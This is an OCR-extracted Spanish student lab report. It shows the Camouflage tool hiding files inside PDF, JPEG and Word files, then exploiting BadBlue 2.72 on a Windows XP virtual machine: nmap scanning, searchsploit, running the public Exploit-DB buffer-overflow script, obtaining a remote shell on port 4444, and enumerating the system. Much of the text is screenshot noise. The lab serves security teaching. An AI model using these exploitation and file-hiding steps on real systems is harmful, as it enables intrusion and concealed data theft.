S| Documento de texko enriquecida -

[Z] Dacumenta de texta
£ W audio File (VLC)
3 Carpeta comprimida (en zip)

= PROPUESTA DE ANTEPRC
A vlc-3.0,18-win3z

Wer

Jrganizar iconos
Actualizar

Mombre:

|EHtract files here

ﬂ Guardar |

Tipo: |

r doc_mwv en "VEB

T Camouflage

j Cahcelar

an oukput Fol. ..

llustracion 51. Crear carpeta de extraccion

Camouflage

Chooze the folder where the files are to be extracted,

Ewxtract To Folder

Click here to get the |latest verzion

C:A\Documents and Settingshwayner_antonio_rmoya_\E zcritariohdo ﬂJ

llustracion 52. Confirmacion de la carpeta de extraccion
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El escritorio muestra la nueva carpeta **docs2' creada, que contendré los archivos
extraidos del camuflaje.

AcroRd32

jueves, 02 c

b _myv en "YBoxSvr'"... ™ docs2?

llustracion 53. Escritorio mostrando la carpeta de extraccion

Al abrir la carpeta ""docs2", se visualizan ambos archivos extraidos exitosamente,

"AcroRd32.exe" y el ""Audio de WhatsApp", confirmando que el proceso de descamuflaje fue
completo y exitoso.

Archiva  Edicidn  Wer  Favoritos  Herramientas  Avuda

l\_) Abras .\-') Lﬁ; p Blisqueda H:‘ Carpetas v

AcroRd3z A Audio de Whatsapp 2025-10-02

i Adobe Reader 3.0 alas 10,33,23_8f39bd0a
Adobe Systems Incorporaked CPUS Audio File (YLC)

Tareas de archivo ¥ carpeta £

Ej Crear nieva carpeta
@ Publicar esta carpeta en Web
@ Compartir esta carpeta

»

Otros sitios

@ Escritario

[E:j Mis documentos

| Documentos compartidos

g MiPC

lustracion 54. Contenido de la carpeta de extraccion
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4.18 Capacidad de camuflar archivos en un PDF, JPEG, WORD Y EXE

Creamos una carpeta llamada “ARCHIVOS” en el PC anfitrion dentro de la carpeta

“doc_mv” y almacenamos 236 archivos 0 mas.

@ ArcHIvOS X +

& OneDrive » = docmv > ARCHIVOS Buscaren ARC Q

@ Nuevo ~ (O [0 ) 0| Tl Ordenar ~ (E Detalles
Indira Johana, U Mombre h Estado Fecha de medificacién Tipo

wE ANTEPROYECTO - copia Documento «

FW Escritoric # WE ANTEPROYECTO Documento

E'E APLICACION DE OPERACIONES CONT Microsoft Edi

» Descargas

E APLICACION DE OPERACIONES CONTAR... Micresoft Edi

B Documentos #

\"] Articulo - copia ) @, m. Documento «

& Imédgenes A

@ Musica * "l Articulo m. Documento ¢

Ei Captura de pantalla 2025-09-11 094119 - ... . M.

= Videos »

Ei Captura de pantalla 2025-09-11 094119 . M. Archivo PNG

@ Capturas de par

o
]
]
L]
]
]
L]
]
]

BB ANTEPROYECT G Captura de pantalla 2025-09-11 094712 - ... m. Archiva PNG
AMTEPROYECTC

= e mantalla WIS NE_11 M3ATI1D

11/00INIE BAT 2 A ~ DRIS
BB EntreMapas
236 elementos | 1 elemento seleccionado 69,3 KB | Disponible en este dispositivo | E Q

llustracion 55. Carpeta ARCHIVOS

Nos dirigimos a Windows XP, hacemos clic derecho y seleccionamos actualizar para

que aparezca la nueva carpeta.
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= doc_mv en "VBoxSvr" (£:)

archivo  Edicion  Wer Favaoritos  Herramientas  fwuda

e.ﬂ.trés - @ - L@ pBL'lsqueda [C‘ Carpetas v

Direccidn | S8 2.\ V| Ir

Fop
Tareas de archivo ¥ carpeta & ||::J ARCHIVOS

e Publicar esta carpeta en Web

,lg‘: 8.0_AdbeRdra0_sn_U5

Articulo.docx
Archivo DiOCK
40 KB

A
» badblue-pe-2.72a q Camnoul2l
Y

Audio de WhatsApp 2025-10-02
alas 10.33.23_8F39bd0a
OFUS Audia File (YLC)

Otros sitios
i MiPC
£} Mis documentos

() Documentos compartidos
& Mis sitios de red

inkernet-explorer-8-para-xp-
&t chivo,cab aukoextraible
Microsaft Corporation

imagen
1200 x 1600
Imagen JPEG

PROPUESTA DE AMTEPROYECTO
Adobe Acrobat Docunent
206 KB

Detalles
wle-3.0,18-win3z2

llustracion 56. Nueva carpeta con archivos en "doc_mv"

Ingresamos a la carpeta “ARCHIVOS” y seleccionamos los archivos que estan dentro.

& ARCHIVOS

Archivo

Edicidn  Wer Favaoritos  Herramientas  Avuda -ﬂ’

Abrds v | 3 . | Busqueda |{~7 Carpetas -
€ © 2 L i

Diraccitn | 2:\ARCHIVOS

@ Tareas de imagenes

'l:l Yer como una presentacion

I"E" Pedir copias fotograficas en
lirea

by Imprimir la imagenes
seleccionadas

B .
Tareas de archivo ¥ carpeta =

[ Mueve los elementos
seleccionados

Copiar los elementos
seleccionados

@ Fublica en el Web los
elementos seleccionados

() Enviar por corren electrdnico
lns elementos siguientes

¢ Eliminar los elementos
seleccionados

¢4 Inicio B8 ARCHT

e Simbolo del sistema ES '(_._.l R S

llustracion 57. Seleccionar archivos de la nueva carpeta
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Nota: Camouflage solo permite seleccionar 65 archivos en lote para ser camuflados.

Una vez seleccionados los 65 archivos hacemos clic derecho y seleccionamos la opcion

“Camouflage”.

Lo
E Abrir
D
ESUncamourage
Actualizar vistas en miniatura

Erviar a 4

Carkar
Copiar

Crear acceso directo
Elirninar
Cambiar nombre

Propiedades

£

lustracion 58. Camuflar los archivos de la nueva carpeta

La nueva ventana muestra todos los archivos que hemos seleccionados.

%3 Camouflage

anapf These files will be hidden within your camouflaged file. Settings
35 fol
i Mame Size | Attributes ~
das tura de pantalla 2025-03-15 1 5 - copia.phg KB A m
Captura de pantalla 2025-03-15 135440, png 320kKE A
- [‘ﬂ Captura de pantalla 2025-09-15 135440 - copia.phg 320kKE A
chiv B Captura de pantalla 2025-09-15 144901 png 159K A
| AMTEPROYECTD - copia.docx 43KE A w
glenf = bt
dos . .
Click here to get the latest werzion | Meut > | Close |
eler = =
2 = R e [ bt il

lHustracion 59. Archivos que seran camuflados

Ahora vamos a buscar el archivo en el cual vamos a camuflar los archivos, en este caso
sera en un documento PDF.
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im.

Camouflage

qaf our camouflaged files will be made to look and act like the following file.
; fol

C flage =i
o Camouflage Using || _'JJ
as
hiw
slem
Iljs Click here to get the latest version < Back | Mext > | Cloze |
i = = =
% G = )
sl ek lme

llustracion 60. Buscar documento donde seran camuflados los archivos

Seleccion del archivo PDF en el cual se van a camuflar los 65 archivos.

Select file to use as camouflage

| @ E zcritario

Buzcar en:

Documentoz
recientes

E scritorio
bz documentos
iP

iz zitiog de red

=
]

I e B2~

Mis docurnentos @ imagen_wpp

:i Mi PC Einternet—explorer—s—para—

‘QMis sitios de red

B #fdobe Reader &

ﬁ YLC media player

[T ARCHIVOS

[y docsz

B z.0_adberdran_en_Us
B ocrordse

Articulo, doc

é Audio de WhatsApp 2025-10-0Z2 a las 10,33.23_5F39%bd0a
P BadBlue Personal Edition
3 badblue-pe-2.72a

E@ Camoulzl

POE_Wab Ty ndf

gl PROPUESTA DE ANTEPRY

s wIc-3.0, 15-win3z

@ imagen

£ |

.

Mambre: |F'F|EIF'LIESTA DE ANTEPROYECTO

£l

ﬂ Cancelar

Tipo: |21l Files

@ 2 Explorado.,.. = | o Simbolo delsi.. Camouflage

llustracion 61. Seleccién del documento PDF

Archivo PDF seleccionado.

es®)° 9O 1801
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1a

ifo

ﬂ
hiw

3]

sta|

Camouflage

Vour camouflaged files will be made to look and act like the following file.

Camouflage zing

ntonio_moya_AE seritoiosPROPUESTA DE ANTEPROYECTO.pdf jJ

Click here to get the latest version

Reescribir el nombre del documento PDF.

A T AT e

llustracién 62. Confirmacion del archivo PDF seleccionado

le im.

1una ]

ias Fol

rchiv

Eva
aska ©

r eska

mégel

Camouflage

Create This File

Chooze the location and filename for the camouflage file that iz about to be created.

|_\Escntc.rio|PHDPL|Esm DE ANTEPROYECTO_2.pdf |

[v Fead-anly

Click here to get the latest wersion

< Back

MHext >

=1

Close

llustracién 63. Definir nombre del archivo seleccionado

Establecer una contrasefia que proteja el acceso a el archivo camuflado.

deim. &

Camouflage

ounaf

pias Fol

Enter a security password for vour camouflaged file if you wizh,

Pagzword

image
| Werify Pazzword

s

RERRRER

archiv
e
eska ) .
) Click here to get the latest version ¢ Back Finizh Cloze
Lir eska = = =
- AT AT P [ . [ Aol o do oLl

llustracién 64. Establecer una contrasefia que proteja el acceso a el archivo camuflado.
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Una vez creado el documento PDF que contiene los archivos camuflados, hacemos clic

derecho y seleccionamos la opcion “propiedades” para ver el tamafio del archivo.

Propiedades de PROPUESTA DE ANTEPROYECTO_2

General ]PDF | Resumen |

I PROPUESTA DE ANTEPROYECTO_2

Tipo de archivo: Adobe Acrobat Document

Se abre con: B2 Adobe Reader 8.0 [ Cambiar. .. ]

Ubicacion: C:\Documents and Settings\wayner_antonio_moy.

Tamafia: | 10,0 ME (10,556,579 bytes) |

Tamario en disco: 10,0 MB {10.559.4388 bytes)

Creado: jueves, 02 de octubre de 2025, 9:20:32
Modificado: lunes, 28 de julio de 2025, 23:08:11

Ultimo acceso: sabado, 04 de octubre de 2025, 18:10:55
Atributos: Sélo lectura [ Oculto [Opciones avanzadas.. ]

lustracion 65. Tamafio del documento PDF que contiene los archivos camuflados

También podemos usar la opcion “Uncamouflage” para observar los documentos que

estan camuflados dentro del archivo PDF, haciendo clic derecho sobre el archivo.
Open with Adobe Reader 8 . |
Abrir

Irnprimir
3 Camouflage

Abrir con...

e Gl MGG Enviar a

Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

llustracion 66. Observar archivos camuflados dentro del PDF
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Ventana de Camouflage solicitando la contrasefia para extraer los archivos del archivo
PDF camuflado.
« o Dadbue-pe=Eas
%3 Camouflage -_ El gl
Settingz

E Enter the pazzword (if any] to extract the files from the camouflaged file.

Pazsword

Click here to get the latest version

lustracion 67. Proceso de descamuflaje - ingreso de contrasefia

Camouflage muestra los archivos contenidos dentro del archivo PDF camuflado.

(=13
The camouflaged file [created with Camouflage w1.2.1] containg these filez. Select the filez pou
wigh to exrtract or leave them unselected to extract them all.

%2 Camouflage

M arne | Size | Attributes
TLIPROPUESTA DE ANTEPROYECTO. pdf 206KE A
Captura de pantalla 2025-03-15 135215 - copia.png TIKB
Captura de pantalla 2025-09-15 135440 png F20KEB
Captura de pantalla 2025-03-15 135440 - zopia.png F20 KB

Captura de pantalla 2025-03-15 144901 .png 159 KB

[N

s o i

%

Click here to get the latest version < Back Ment > Cloze | -

ANTERRCIYE,

lustracion 68. Visualizacion de archivos contenidos en el camuflaje

Ahora vamos a camuflar los 236 archivos que hay en la carpeta “ARCHIVOS” en una
imagen con formato JPEG. Debemos comprimir la carpeta en formato ZIP desde el PC anfitrion,
luego vamos a Windows XP y actualizamos la carpeta “doc_mv” para que aparezca la carpeta

comprimida.
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Archivo Edicién VYer Favoritos Herramientas Ayuda

@Atrés v @ v !” ,/‘:) Blsqueda lLi - Carpetas v

P,

Tareas de archivo y carpeta 2 B "v'/', ARCHIYOS

Cambiar nombre a este

archivo
@ Mover este archivo }( 8.0_AdbeRdra0_en_US
—
F N

D Copiar este archivo
a Publicar este archivo en Web

=) Enviar este archivo por correa
electrdnico

¥ Eliminar este archivo

r‘:\d':lth‘- reguer naye

lustracion 69. Carpeta "ARCHIVOS" comprimida para camuflarla en una imagen JPEG

Nota: Para camuflar una determinada cantidad de archivos y Camouflage no ponga un
limite de seleccion es recomendable tener todos los archivos que se van a camuflar en una

carpeta comprimida.

Hacemos clic derecho sobre la carpeta comprimida y seleccionamos la opcion

“Camouflage”.

Abrir
Buscar...
Explorar

Extraer todo...

(5] Camouflage

5 Uncamouflage
Abrir con...

Enviar a

Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

lHustracion 70. Camuflar carpeta comprimida en una imagen JPEG
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Camouflage muestra que se ha seleccionado el archivo comprimido.

Size | Attributes
o KB :

Click here to get the latest version

< Back

Mest > LCloze

lustracién 71. Seleccion del archivo comprimido a camuflar

Seleccionar el archivo de imagen como archivo de camuflaje para la carpeta comprimida.

Select file to use as camouflage

Buscar en: I @’ Escritonio

e B2~

p—
i imagen

imagen_wpp
Einternet-explorer-ﬁ-para-
PDF_WaRIOS222pdf
" PROPUESTA DE ANTEPRC
" PROPUESTA DE ANTEPRC
£ w30, 18-win32

L;b Mis documentos
! W MipC
Documentos ‘QMis sitios de red
IBCIENEs ﬂ Adobe Reader &
@ é YLC media player
- [CIARCHIVOS
E zcritorio [)docs2
- B 5.0_ndberdra0_en_Us
’) B ocrordsz
., [ arcHIvOS2
Mis documentas F\rticuln.docx
: g Audio de WhatsApp 2025-10-02 a las 10.33.23_8f39bd0a
g._l P BadBlue Personal Edition
.Mi FC P badblue-pe-2.72a
E@ Camoulzl

iz siting de red  Wombre: Iimagen

Tipo: |41 Files

Cduniue

Camauflage

Select file to use as camouflage

lustracion 72. Eleccion del archivo donde se va a camuflar el audio de WhatsApp

s @)
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Definir el nombre del archivo camuflado como "'imagen22.jpg™* o el nombre que desees.

Create Thiz File Iuments and SettingsHwayner_antu:uniu:u_mu:u_l,la_'xEscrituriu'ﬁimagenEE.iLIJ

¥ Read-only

LCIRLIE
MTERF

Click bere to get the latest version < Back

llustracion 73. Definir nombre del archivo camuflado

Una vez creada la imagen donde se encuentra la carpeta ZIP camuflada, hacemos clic

derecho sobre ella y seleccionamos la opcion “propiedades” para ver el tamafio de la imagen.

Propiedades de imagen22

Ml Genetal Resumen |

I | -
“.J,J._____ t! ‘ imagenz2 ‘

Y

S0 AdoeRdr. i
: Tipo de archivo: Imagen JPEG

Se abre con: Visor de imagenes v [ Cambiar. .. l ‘
Ibicacion: Ci\Documents and Settingsiwayner_ankonio_movy.

Tamafio: (2.5 MB (91.117.021 bytes) |

Tamario en disco: 86,8 ME (91.119.616 bytes) -
Creado: jueves, 0Z de octubre de 2025, 9;20:32

Modificado: viernes, 05 de septiembre de 2025, 15:06:19

Clkimo acceso: zabadao, 04 de octubre de 2025, 18:17:52

Atribukos: Sdlo lectura [ Oculko Opriones avanzadas. ..

lustracion 74. Ver propiedades de la imagen22
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Ahora vamos a camuflar un archivo que pesa 7.61GB en un documento Word. Hacemos

clic derecho sobre el archivo y seleccionamos la opcién “Camouflage”.

- - 3y e

Archivo Edicion  Yer Favoritos Herramientas Ayuda

@ Atrds v @ v )? /j\) Busqueda l, Carpetas v

8l oireccion |x i

Tareas de archivo y carpeta A Camou121

®if Cambiar nombre a este
archivo CentOS-Stream-10-latest-x86...

e ; 1 rchivo ISO
,‘& Mover este archivo $43 981,312 K

\_D Copiar este archivo

@ Publicar este archivo en Web imagen &
1200 x 1600 |
Imagen JF‘EG}, Enviar a

:j Enviar este archivo por correo
electrdnico

¥ Eliminar este archivo

| internet-expl;  Cortar

Adoue reauer Ny 1£& SLCOO Lol S Copiér

: Crear acceso directo
Eliminar

Cambiar nombre

Propiedades

lustracion 75. Camuflar archivo pesado en un documento Word

Camouflage muestra que se ha seleccionado el archivo que se va a camuflar.

“2 Camouflage

de all This file will be kidden within your camouflaged fils. Settings

ibiar if UeS

i Mame Size | Aftributes

'Br B3] ntOS-Stream-10-at Bd-dvwdl izo
iar e -

licar

iar es
kranig

inar &

Click here to get the latest verzsion Mest > Cloze

lustracién 76. Seleccion del archivo comprimido a camuflar

Seleccionar el archivo de Articulo.docx el cual es donde se va a camuflar el archivo que
de gran tamafio.
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r

Select file to use as camouflage

Buzcar en: | @’ Escritorio j =¥ EB- J AEFoR
_ Mis documentos [tj imagen
L& 4 MiFC | imagenzz
Docqmentns ﬂMis sitios de red [tj imagen_wpp
BRI B Adobe Reader & ﬁinternet-explnrer-&-para- P—
?“I_- i ¥LC media player PDF_VARIOS222pdf Ojx
o ) ARCHIVOS " PROPUESTA DE AMTEPRC
Esciitario ) dacsz L PROPLESTA DE AMTEPRC
: R z.0_adberdran_en_Us A vle-3.0,16-win3z i
> B hcrordaz ]D
Mis documentos | .
- s Budio de Whatsapp 2025-10-02 a las 10,33.23_8F39bd0a
gr! & BadBlue Personal Edition
Wi PO P badblue-pe-2.72a
@ Carnoulzl

QE <
iz gitios de red  Mombre:

|Articu|u:| j

| &1l Files

AU
‘Whatsapp 2.,

Select file to u. ..

Simbol e T+ Camouflage

lustracién 77. Eleccion del archivo donde se va a camuflar el archivo de gran tamafio

Definir el nombre del archivo camuflado como "*Articulo-copia.docx™ o el nombre que

desees.

ios v Read-only .

U

nEn

Click here to get the latest verzion < Back Mest > Cloze

llustracion 78. Definir nombre del archivo camuflado
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Establecer una contrasefia que proteja el acceso a el archivo camuflado.

Pazzword I ““““““““

Werfy Password I “““““““ 1
itios
Z
docur

-

urnern !
rine || Click here ta get the latest version < Back |i Finish | Cloze |
1Ay AT O

AHNTERROYE,

llustracion 79. Establecer contrasefia de proteccion

El archivo no se pudo camuflar porque solo se puede camuflar 1 archivo si pesa menos de
4 GB, esto también aplica si es en lote (seleccion de varios archivos) o para una carpeta

comprimida en ZIP, la suma de los archivos no puede superar la cantidad de 4 GB.

a5 v e - l.ﬁ; pBﬂsqueda Ii_ Carpetas v
-x Z Ny Camouflage

.as de ai  Camouflaging files to C:A\Documents and
Settingshwayner_antonio_moua it

“ublicar & Camouflage

- Unable to Camouflage!
5 sitios h

Invalid property walue (3800

Wi PC
i
Jacumen !
. Click here to et the latest wversion < Back | Einish Cloze |
1Ay 5T DE

BMTEPREYE

lustracion 80. Camuflaje no exitoso

5. CAPITULO 2 - EXPLOTACION DE BADBLUE

5.1 Acuerdo de licencia de BadBlue Personal Edition
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Ventana de registro y licencia de BadBlue donde se debe ingresar su informacion
personal (nombre completo y correo electrénico) y debe aceptar los términos del acuerdo de

licencia antes de poder utilizar el software.

" License agreement

Feaistration [nformation

Full name: |in|:|ira flarez

Email address: |indirainhana3@gmail.cam

End Uzer Licenze Aareement for BadBlue Software

BECGINE
"WIORKING RESOURCES IMC. - FEreanal t:muh
EMD USER LICEWSE AGREEMEMT p
BADBLUE PERSOMAL EDITION

Software License Agreement for BadBlue Personal Edition

IMPORTANT- PLEASE READ CAREFULLY: BY INSTALLING THE SOFTWARE
[45 DEFINED BELOW], COPYING THE SOFTWARE aMD/0OR CLICKING OM
THE "ACCEFT" BUTTOMN BELDW, YOU ([EITHER OM BEHALF OF YOURSELF
A5 AN INDIVIDUAL OF OM BEHALF OF AN ENTITY 45 ITS AUTHORIZED
REFRESEMNTATIVE]AGREE TO ALL OF THE TERMS OF THIS END LISER

Aagree | Dizagree

llustracién 81. Acuerdo de licencia de BadBlue

5.2 Verificacion de IP de Windows XP

Captura del simbolo del sistema de Windows XP donde se ejecuta el comando ipconfig,

mostrando la configuracién de red de la maquina virtual. Se identifica la direccion IP

192.168.10.9, confirmando la conectividad de red necesaria para la explotacion.

Simbolo del sistema

Microsoft Windows XP [Version 5.1.26801
(C> Copyright 1985-2001 Microsoft Corp.

C:~Documents and Settings“wayner_antonio_moya_>piikBop"

L]

m "piikBop no e reconoce como un comando interno o externo,
programa o archivo por lotes ejecutahle.

C:~Documentz and Settings“wayner_antonio_moya_*ifconfig
"ifconfig®" no se reconoce como un comando interno o externo.
programa o archivo por lotes ejecutahle.

DS - Documents and Settingsswayner_antonio_mova_ripconfig

Configuracidn IP de Windows

fdaptador Ethernet Conexidn de Area local H

&
y Sufijo de conexidn especifica DNS v _tendawifi com
= Direccion IP. . . . . . . . . . . 192.168.18.9
Miscara de subred . . . . . . . . 2560 255 2558
Puerta de enlace predeterminada 192 .168.18.1

llustracion 82. Verificacion de IP de Windows XP
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5.3 Escaneo de red con Nmap desde Kali Linux

En la terminal de Kali Linux ejecutar un escaneo de red con el comando nmap -sV
192.168.10.0/24. Los resultados muestran que el host 192.168.10.9 (Windows XP) tiene varios
puertos abiertos, incluyendo el puerto 80 ejecutando "'BadBlue httpd 2.7", identificando asi el

servicio vulnerable objetivo.

brasil123@kali: ~

Archivo Acciones Editar Vista Ayuda

192.168.10.0/24
Starting Nmap /.95 ( https://nmap.org ) at 2025-10-02 10:47 -05
Nmap scan report for 192.168.10.1
Host is up (0.0020s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
: 445/tcp open microsoft-ds?
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
MAC Address: 52:55:C0:A8:0A:01 (Unknown)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.10.3

Host is up (0.00037s latency).

All 1000 scanned ports on 192.168.10.3 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:76:03:21 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.10.9

Host is up (0.0015s latency).

Not shown: 995 closed tcp ports (reset)

PORT STATE SERVICE VERSION

80/tcp open http BadBlue httpd 2.7

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

3389/tcp open ms-wbt-server Microsoft Terminal Services

MAC Address: 08:00:27:2E:C9:8D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:mi

llustracion 83. Escaneo de red con el comando Nmap

5.4 Acceso a la interfaz web de BadBlue

En el navegador web en Kali Linux accedemos a la interfaz de BadBlue en
http://192.168.10.9. Se visualiza la pagina principal del servicio de comparticion de archivos

BadBlue, confirmando que el servicio esta activo y accesible.
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(=] BadBlue: the file-sharing % -+

< @ O & 192168109 @ ® f =

OffSec Kali Linux # KaliTools +« KaliDocs % Kali Forums e\ Kali NetHunter

dblue

serving. publishing. sharing

File sealch:|| I|E|

Share your Excel
spreadsheets over
the web. Fast.
Easy. Guaranteed.

Search using a partial word {inv matches invoices),
by file extension (jrg, mp3, x5, ...) or with multiple
words (photo aibum would match all files that
include the words photo and albun).

5

BadBlue
Enterprise Edition

llustracion 84. Acceso a la interfaz web de BadBlue

5.5 Busqueda de exploits para BadBlue 2.7

En la terminal de Kali Linux ejecutamos el comando “searchsploit Badblue 2.7 para
identificar exploits disponibles. Los resultados muestran multiples vulnerabilidades, incluyendo
el exploit que sera utilizado.

Badblue 2.7
Exploit Title Path
2 - PassThru Remote Buffer Overflo windows/remote/4784.pl
2b - Multiple Vulnerabilities | windows/remote/4715.txt
2b - PassThru Buffer Overflow (Met windows/remote/16806.rb

Working Resources £ - Denial of S | windows/dos/20641.txt
! Working Resources 2 - Full Path D | windows/remote/20640.txt

Shellcodes: No Results

windows/remote/4784.pl
Exploit: BadBlue 2.72 - PassThru Remote Buffer Overflow
URL: https://vwww.exploit-db.com/exploits/4784
Path: /usr/share/exploitdb/exploits/windows/remote/4784.pl
Codes: 0SVDB-42416, CVE-2007-6377
Verified: True
File Type: Perl script text executable
Copied EDB-ID #4784's path to the clipboard

llustracion 85. Exploit para BadBlue
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5.6 Copiar el exploit

Copiar el exploit 4784.pl desde la base de datos de exploitdb al directorio actual usando

cp /usr/share/exploitdb/exploits/windows/remote/4784.pl . y luego editarlo con el editor nano.

~

/usr/share/exploitdb/exploits/windows/remote/4784.pl .

4 -~

40847 .cop Diclampiao.txt
47864 .pl

llustracion 86. Copiar y preparar el exploit para la explotacién

5.7 Visualizacién del codigo del exploit

Cadigo fuente del exploit usando el comando cat.

: brasil123@kali: ~

Archivo Acciones Editar Vista Ayuda

~

4784.pl
#! /usr/bin/perl -w
http://aluigi.altervista.org/adv/badblue-adv.txt
https://wwm.securityfocus.com/bid/26803
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379
exploit for stack overflow in badblue 2.72

Jacopo Cervini acaro@jervus.it

#
#
#
#
#
# Credit to Luigi Auriemma
#
# 22/12/2007

I

#

#

use I0::Socket;

if(1($ARGVI1]))
{

print "Usage: badblue-272-seh.pl <victim> <port>\n\n";
exit;

}

# metasploit win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum

lustracion 87. Uso del comando cat para ver el codigo fuente del exploit
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5.8 Pegar codigo fuente del exploit a otro archivo

Luego de visualizar el cédigo fuente del exploit copiamos todo el c6digo y usamos el

comando nano badblue-272-seh.pl y pegamos el cddigo ahi.

badblue-272

lustracion 88. Modificacion del nombre del archivo exploit

Luego, guardamos con CTRL + O y salimos haciendo CTRL + X.
brasil123@kali: ~

Archivo Acciones Editar Vista Ayuda
badblue-272-seh.pl =*

use I0::Socket;

e Ayuda @0 Guardar s Buscar Bl Cortar Bl Ejecutar [8 Ubicacion
) @ Salir iy Leer fich.g@ Reemplazarfll Pegar B Justificar@ll Ir a linea

llustracion 89. Codigo del exploit en el nuevo archivo

5.9 Asignacion de permisos de ejecucion

Utilizamos el comando chmod +x badblue-272-seh.pl para hacer el script ejecutable,

seguido de head -20 para verificar las primeras lineas del codigo.
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+x badblue-272-seh.pl

badblue-272-seh.pl
! /usr/bin/perl -w
http://aluigi.altervista.org/adv/badblue-adv.txt
https://wai.securityfocus.com/bid/26803
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379
exploit for stack overflow in badblue 2.72

Credit to Luigi Auriemma
Jacopo Cervini acaro@jervus.it
22/12/2007

=
#
#
#
#
#
#
#
#
#
#
#

use I0::Socket;

if(1($ARGV[1]))

{

print "Usage: badblue-272-seh.pl <victim> <port>\n\n";
exit;

}

lustracion 90. Asignacion de permisos de ejecucion

5.10 Ejecucion exitosa del exploit

El exploit se ejecuta con ./badblue-272-seh.pl 192.168.10.9 80, enviando una peticion
GET maliciosa. Se establece conexién en el puerto 4444 y se obtiene acceso al sistema Windows

XP, demostrando la explotacion exitosa.

~

) v 192.168.10.9 80

+ Malicious GET request sent

Done.

+ Connect on port 4444 of 192.168.10.9
Trying 192.168.10.9 ...

Connected to 192.168.10.9.

Escape character is "]’
Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Archivos de programa\BadBlue\PE>cd
caias

C:\Archivos de programa\BadBlue>cd
cd

C:\Archivos de programa>cd
cd

lustracion 91. Navegacion en el sistema comprometido
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Comando systeminfo ejecutado en la maquina comprometida, mostrando detalles del
sistema operativo: Windows XP Professional, confirmando el acceso a informacién sensible del

sistema.

C:\>systeminfo
systeminfo

Nombre de host: WAY
Nombre del sistema operativo: Microsoft Windows XP Professional

Versien del sistema operativo: 5.1.2600 Service Pack 3 Compilacien 2
600

Fabricante del sistema operativo: Microsoft Corporation

Configuracien del sistema operativo: Estacien de trabajo independiente

lustracién 92. Ejecucion de systeminfo en el sistema victima

Comando net users mostrando las cuentas de usuario del sistema.

= brasil123@kali: ~
Archivo Acciones Editar Vista Ayuda

Ubicacien(es) de archivo de paginacien: C:\pagefile.sys
Dominio: GRUPO_TRABAJO
Servidor de inicio de sesien: \\wAY
Revisien(es): 1 revisien(es) instaladas.
[01]: Q147222
Tarjeta(s) de red: 1 Tarjetas de interfaz de red instala
das.
[01]: Adaptador de servidor PRO/1000
T de Intel(R)
Nombre de conexien: Conexien de
erea local
DHCP habilitado: Se
Servidor DHCP: 192.168.10.3
Direcciones IP
[01]: 192.168.10.9

C:\>net users
net users

Cuentas de usuario de \\WAY

Administrador Asistente de ayuda Invitado
SUPPORT_388945a0 wayner_antonio_moya_
Se ha completado el comando correctamente.

lustracién 93. Enumeracion de usuarios
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Comando tasklist mostrando todos los procesos activos en el sistema victima. Se
identifica claramente el proceso ""badblue.exe™ con PID 1076, confirmando que el servicio

vulnerable sigue ejecutdndose mientras se mantiene el acceso.

A brasil123@kali: ~

Archivo Acciones Editar Vista Ayuda

IS

i( C:\>tasklist
LL— tasklist

Nombre de imagen Nombre de sesien Nem. de

— System Idle Process Console
¢ System Console
'~ sSmss.exe Console

CSrss.exe Console
winlogon.exe Console
services.exe Console
lsass.exe Console
VBoxService. Console
svchost.exe Console
svchost.exe Console
svchost.exe Console
svchost.exe Console
svchost.exe Console
spoolsv.exe Console
alg.exe Console
VBoxTray.exe Console
ctfmon.exe Console
wscntfy.exe Console
cmd.exe 2 Console
wuauclt.exe Console
explorer.exe Console
badblue.exe Console

e e N

lustracion 94. Lista de procesos en ejecucion
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6. CONCLUSION

El laboratorio demostro exitosamente la efectividad de las técnicas de ofuscacion de archivos
mediante Camouflage, permitiendo ocultar informacion sensible dentro de archivos comunes sin
alterar significativamente su apariencia externa. Se comprobd que es posible camuflar multiples
archivos en formatos JPEG, PDF y ejecutables, aunque con limitaciones en el tamafio maximo de
4 GB por archivo. En la fase de explotacion, se confirmo la vulnerabilidad critica de BadBlue
2.72, obteniendo acceso remoto al sistema Windows XP mediante un exploit de desbordamiento
de bufer. La combinacion de estas técnicas evidencia la importancia de implementar medidas de
seguridad tanto para la proteccion de informacion confidencial como para la correcta
configuracién y actualizacion de servicios expuestos en red. Este trabajo refuerza los conceptos
de seguridad ofensiva y defensiva, proporcionando valiosa experiencia practica en técnicas

relevantes para la auditoria de seguridad informatica.
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